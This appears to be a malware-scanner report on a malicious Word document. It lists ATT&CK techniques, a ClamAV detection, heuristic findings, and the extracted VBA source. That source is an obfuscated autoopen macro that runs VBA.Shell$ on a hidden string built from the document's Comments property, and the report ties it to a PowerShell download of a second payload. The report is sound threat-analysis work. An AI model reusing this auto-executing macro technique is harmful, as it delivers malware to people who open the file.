MALICIOUS
212
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1204.002 Malicious File
The sample contains VBA macros, including an autoopen subroutine, which is a common technique for executing malicious code upon document opening. The macro references PowerShell and uses string concatenation to obfuscate its actions, indicating an attempt to download and execute a secondary payload. The ClamAV detection name 'Doc.Macro.DollarShell-6346616-0' further supports the malicious nature of the macro.
Heuristics 8
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ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
aYAeedhAAB = "dEpwhvcfZts" + "ZfmgkXhe" + "XgggrXrD" + "GxmSpWL" + KvpLSTcVafx = "ArGpduD" + "nUMHnRLcVWw" + "fDHdKTeds" + "XKGfEVhg" + yxtzattX = "gpvaxRLfRR" + "GEErPeu" + "azHrvEH" + "EvpbbtpNRKT" + "whHWpKExm" VBA.Shell$ "" + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + gBLkNfwtA, 0 xsbADaxsvb = "AVBYCUg" + "VMUdTnMFmbG" + "HcFLKMPbTtf" + "wWhEwAnGE" + VtYPDtCPfva = "rNmRBdFXM" + "eYHaVhM" + "gfdLvhcnFwL" + "sfagcnkRE" + "Swbpdtsss" -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "Module1" Sub autoopen() VPZeFmc -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2366 bytes |
SHA-256: 9cbc9a7b6deab92e83c5b5cdd5725265eda5c37bee5b4978e784dddf404d04d3 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
118 of 146 identifiers look randomly generated (e.g. 'ZvUmrnTZmCh') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub autoopen()
VPZeFmc
End Sub
Function VPZeFmc()
kuBYYEXX = "dVKfxXVaHan" + "EVpELukFZBv" + "BmnzZPvwvzC" + "auUuuaGFZsH" + pTbTsHzAm = "sdKmAzpwrKy" + "PhGccypr" + "AwXsYEnP" + "DcArLygg" + "NbUmawWG"
SLngDfrsLCD = "KuFCpHhA" + "BTLUpWGMup" + "zUKwdmV" + "rCSAfBSfF" + mmuzFaDR = "dmLpwDG" + "fzRPcYRZkK" + "duhhgUAgUA" + "ZhCHwhH" + rAndgUWZAk = "ZGmWwMHBMa" + "EUWArPt" + "rTrLNDfzUhf" + "sVgYRnueCbx" + "FvXyyedfG"
nXAppykZ = "zhMWEyhU" + "rRumAbS" + "TcdRupfMg" + "cEwvsYSGRtu" + UGNukTKgCEc = "CPfmfYGffT" + "LnGrfCeFvk" + "sWcfnuRPEh" + "fNkHzpSDLcN" + RwExTPVfM = "LkhgPKhxE" + "RvaafMsZh" + "athDwkNfMLp" + "CFLyPDB" + "HbAgLBhGueu"
aYAeedhAAB = "dEpwhvcfZts" + "ZfmgkXhe" + "XgggrXrD" + "GxmSpWL" + KvpLSTcVafx = "ArGpduD" + "nUMHnRLcVWw" + "fDHdKTeds" + "XKGfEVhg" + yxtzattX = "gpvaxRLfRR" + "GEErPeu" + "azHrvEH" + "EvpbbtpNRKT" + "whHWpKExm"
VBA.Shell$ "" + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + ActiveDocument.BuiltInDocumentProperties("Comme" + "nts") + tzfDbAZ + nhwyFNugLc + RFargzhzhgM + wrxyLewMPMy + gYxVUecNFD + UBxDuLYhUYC + SgXXhngNGV + gXghuyGNZn + GdbLCLcYM + HxVwwswL + SzNFSNwLXG + xZNbNzUF + HWTnMtuS + sZvbuZDP + gBLkNfwtA, 0
xsbADaxsvb = "AVBYCUg" + "VMUdTnMFmbG" + "HcFLKMPbTtf" + "wWhEwAnGE" + VtYPDtCPfva = "rNmRBdFXM" + "eYHaVhM" + "gfdLvhcnFwL" + "sfagcnkRE" + "Swbpdtsss"
NVXLzzMBDvm = "AcRhzrsV" + "ZvUmrnTZmCh" + "TGaRkBYK" + "ecBDLTDB" + RFFDPZz = "BAKVYbYNC" + "RaCxBtatb" + "rySpcDcV" + "wdWgpkarWN" + eeSXnMvE = "AuKvyxPmyA" + "TnUMkDt" + "ehUHyvcc" + "RETWDhVAbyf" + "XPsGAEwcP"
VZYBLwzvmzu = "fDPuEpymPd" + "KyKzxVMF" + "NRWFdTxBys" + "RcMuDnkbmy" + YAUsdhNw = "gvpGHWTzA" + "LhebrGs" + "hdtTfPzc" + "rmtKZxseTWd" + kKzwZWY = "etgsncuMZw" + "GDMgNGvP" + "UGbsfRUxk" + "XANTGKMvSK" + "YfSHLDa"
MCSLWut = "AXKhhBgnk" + "XrFgPPZ" + "frnCfEW" + "NavKYGZhZ" + twhaMwHFv = "WbHHvMkwSm" + "wDRPYKVzaU" + "cSgGaDNSF" + "gmeRPGSgTar" + "uvyNntxrMa"
End Function
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